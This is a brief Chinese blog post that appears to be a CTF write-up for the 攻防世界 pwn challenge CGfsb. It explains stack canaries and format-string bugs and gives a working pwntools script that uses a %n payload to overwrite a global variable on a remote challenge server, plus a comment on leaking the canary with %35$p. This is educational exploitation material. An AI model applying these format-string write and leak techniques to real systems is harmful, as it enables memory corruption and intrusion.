攻防世界pwn-CGFsb


canary保护机制

在函数入口处,会从gs寄存器上取一个值存放到栈上,在函数退出时会去检查栈中的这个值是否发生变化。
存在printf函数,可以通过偏移泄漏出canary的值
格式化字符串漏洞,通过%n来修改参数的值
[原创]格式化字符串漏洞简介-Pwn-看雪-安全社区|安全招聘|kanxue.com

%n计算字符个数

pwn CGfsb

from pwn import*
context.log_level="debug"
sh = remote("61.147.171.105", 55756)
# sh = process("./e41a0f684d0e497f87bb309f91737e4d")
pwnme_addr = 0x804A068
# canary_addr = b"%35$p" #可以泄漏出canary的值 
payload1 = p32(pwnme_addr) + b'a' * 4 + b'%10$n' #利用%n,将pwnme处的值重写
# gdb.attach(sh)
sh.sendlineafter("please tell me your name:\n", b'aaa')
sh.sendlineafter("leave your message please:\n", payload1 )
sh.interactive()

[[攻防世界pwn-mary-morton]]


文章作者: xysx
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 xysx !
评论